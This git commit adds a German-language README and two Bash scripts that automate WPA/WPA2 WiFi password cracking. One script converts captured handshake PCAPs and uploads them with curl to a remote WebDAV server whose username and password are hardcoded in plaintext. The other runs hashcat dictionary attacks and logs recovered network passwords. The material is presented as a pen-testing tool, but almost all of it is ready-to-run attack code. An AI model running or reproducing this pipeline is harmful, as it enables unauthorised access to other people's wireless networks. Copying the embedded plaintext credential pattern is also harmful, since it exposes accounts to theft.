commit 3f90b354d82c1dfcba5012380cb7d7542f454097 Author: Ratatoskr Date: Mon Mar 3 11:03:48 2025 +0000 Dateien nach "/" hochladen CrackHash CrackHash ist eine Sammlung von Shell-Skripten, die darauf abzielen, Handshake-Dateien zu konvertieren, hochzuladen und deren Passwörter zu knacken. Diese Tools wurden für Penetrationstests und die Analyse von WLAN-Netzwerken entwickelt und bieten eine automatisierte Lösung zur Verarbeitung von Handshakes. Funktionen: Automatische Konvertierung: Wandelt PCAP-Dateien in das HC22000-Format um, das von Tools wie Hashcat verwendet wird. WebDAV-Upload: Lädt die konvertierten Handshakes automatisch auf einen WebDAV-Server hoch, um sie sicher zu speichern. Passwort-Cracking: Nutzt Hashcat, um Handshakes zu entschlüsseln und zu überprüfen, ob das Passwort eines Netzwerks geknackt wurde. Ordnung und Verwaltung: Handshakes werden nach dem Cracken in entsprechende Verzeichnisse verschoben – entweder in das cracked oder not_cracked Verzeichnis, je nach Erfolg. Verzeichnisstruktur: /handshakes/: Enthält die zu verarbeitenden Handshakes. /output/: Speichert Ergebnisse des Cracking-Prozesses. /cracked/: Erfolgreich geknackte Handshakes. /not_cracked/: Handshakes, bei denen das Passwort nicht geknackt werden konnte. Voraussetzungen: WebDAV: Ein WebDAV-Server muss eingerichtet und konfiguriert sein, um die Handshakes hochzuladen. Hashcat: Ein installiertes Hashcat-Tool zum Cracken der Handshakes. Wortliste: Eine geeignete Wortliste (z. B. hashes_2017.txt) für das Cracking. Nutzung: Konfiguriere das WebDAV für das Skript auf deinem Gerät. Führe das Skript aus, um Handshakes zu konvertieren und hochzuladen. Auf dem Server kannst du Handshakes durch das Cracking-Skript verarbeiten, um das Passwort zu finden. CrackHash hilft Pen-Testern und Forschern, Handshakes effizient zu verarbeiten, hochzuladen und zu entschlüsseln. diff --git a/crackhash.sh b/crackhash.sh new file mode 100644 index 0000000..c43df2e --- /dev/null +++ b/crackhash.sh @@ -0,0 +1,77 @@ +#!/bin/bash + +# Verzeichnisse definieren +handshake_dir="/root/handshakes/" +output_dir="$handshake_dir/output" +cracked_dir="$handshake_dir/cracked" +not_cracked_dir="$handshake_dir/not_cracked" +wordlist="/usr/share/wordlists/hashes_2017.txt" # Korrekter Pfad zur Wortlisten-Datei + +# Erstelle Ausgabe- und Ergebnisordner, falls nicht vorhanden +mkdir -p "$output_dir" "$cracked_dir" "$not_cracked_dir" + +# Datei für Ergebnisse erstellen/leeren, falls vorhanden +> "$output_dir/results.txt" +> "$output_dir/cracked.txt" + +# Funktion zum Bearbeiten eines einzelnen Handshakes +process_handshake() { + local handshake=$1 + local handshake_filename=$(basename "$handshake") + local network_name="${handshake_filename%.22000}" + + echo "Verarbeite Handshake: $handshake_filename" + + # Handshake knacken + echo "Starte hashcat für $handshake_filename..." + hashcat -m 22000 -a 0 -o "$output_dir/cracked.txt" "$handshake" "$wordlist" --status + + # Überprüfen, ob das Passwort geknackt wurde + if grep -q "$network_name" "$output_dir/cracked.txt"; then + # Passwort erfolgreich geknackt + cracked_password=$(grep "$network_name" "$output_dir/cracked.txt" | cut -d: -f2) + echo "Netzwerk: $network_name, Passwort: $cracked_password" >> "$output_dir/results.txt" + mv "$handshake" "$cracked_dir/" + echo "Passwort für $network_name gefunden und Handshake in 'cracked' verschoben" + else + # Passwort nicht gefunden + echo "Passwort für $network_name nicht gefunden" + mv "$handshake" "$not_cracked_dir/" + fi +} + +# Funktion zum Durchgehen aller Handshakes +bruteforce_handshake() { + # Überprüfen, ob Handshakes vorhanden sind + if ! ls "$handshake_dir"/*.22000 &> /dev/null; then + echo "Keine Handshake-Dateien (*.22000) im Verzeichnis $handshake_dir gefunden!" + return 1 + fi + + # Durch alle Handshakes gehen + for handshake in "$handshake_dir"/*.22000; do + if [ ! -f "$handshake" ]; then + echo "Fehler: $handshake ist keine Datei oder existiert nicht." + continue + fi + + handshake_filename=$(basename "$handshake") + + # Überprüfen, ob der Handshake bereits in einem der Zielverzeichnisse existiert + if [ -f "$cracked_dir/$handshake_filename" ]; then + echo "Handshake $handshake_filename wurde bereits geknackt, überspringen..." + continue + elif [ -f "$not_cracked_dir/$handshake_filename" ]; then + echo "Handshake $handshake_filename wurde bereits als nicht geknackt markiert, überspringen..." + continue + else + # Handshake bearbeiten + process_handshake "$handshake" + fi + done +} + +# Main +echo "Starte Handshake-Bearbeitung..." +bruteforce_handshake # Handshakes knacken +echo "Handshake-Bearbeitung abgeschlossen." diff --git a/upload_handshakes.sh b/upload_handshakes.sh new file mode 100644 index 0000000..eb8994a --- /dev/null +++ b/upload_handshakes.sh @@ -0,0 +1,61 @@ +#!/bin/bash + +# Skript zum automatischen Konvertieren & Hochladen von Handshake-Dateien via WebDAV +# Autor: Michael +# Datum: 03.03.2025 +# Beschreibung: Wandelt PCAPs in HC22000 um und lädt sie hoch. +# Nutzung: Einfach ausführen, setzt WebDAV-Zugangsdaten voraus. + +# WebDAV-Zugangsdaten +WEBDAV_URL="https://cloud.michaelis.digital/remote.php/dav/files/Michaelis/PenTest/grabz/Handshakes" +WEBDAV_USER="Michaelis" +WEBDAV_PASS="CpGPz-H6F8t-iwd25-3TYXT-9YN3J" + +# Verzeichnisse +LOCAL_DIR="/home/pi/handshakes" +LOG_FILE="/home/pi/webdav_upload.log" + +# Prüfe, ob das Verzeichnis existiert +if [ ! -d "$LOCAL_DIR" ]; then + echo "$(date) - Fehler: Verzeichnis $LOCAL_DIR existiert nicht." | tee -a "$LOG_FILE" + exit 1 +fi + +# Funktion: Konvertiere PCAP zu HC22000 +convert_pcaps() { + echo "$(date) - Starte Konvertierung von PCAPs nach HC22000..." | tee -a "$LOG_FILE" + for pcap in "$LOCAL_DIR"/*.pcap; do + [ -f "$pcap" ] || continue # Falls keine PCAP-Dateien vorhanden sind, überspringen + hc22000="${pcap%.pcap}.22000" + + # Konvertiere nur, wenn ein 4-Way Handshake vorhanden ist + hcxpcapngtool -o "$hc22000" "$pcap" 2>> "$LOG_FILE" + if [ $? -eq 0 ]; then + echo "$(date) - Erfolgreich konvertiert: $pcap -> $hc22000" | tee -a "$LOG_FILE" + else + echo "$(date) - Fehler bei der Konvertierung: $pcap. Lösche fehlerhafte PCAP-Datei." | tee -a "$LOG_FILE" + rm "$pcap" # Lösche fehlerhafte PCAP-Datei + fi + done +} + +# Starte Konvertierung +convert_pcaps + +# Starte den Upload +echo "$(date) - Starte Upload..." | tee -a "$LOG_FILE" +for file in "$LOCAL_DIR"/*.22000; do + [ -f "$file" ] || continue # Falls keine 22000-Dateien vorhanden sind, überspringen + echo "$(date) - Lade hoch: $(basename "$file")" | tee -a "$LOG_FILE" + + curl -u "$WEBDAV_USER:$WEBDAV_PASS" -T "$file" "$WEBDAV_URL/" --silent --show-error --fail + + if [ $? -eq 0 ]; then + echo "$(date) - Erfolgreich hochgeladen: $file" | tee -a "$LOG_FILE" + else + echo "$(date) - Fehler beim Hochladen: $file" | tee -a "$LOG_FILE" + fi +done + +echo "$(date) - Upload abgeschlossen." | tee -a "$LOG_FILE" +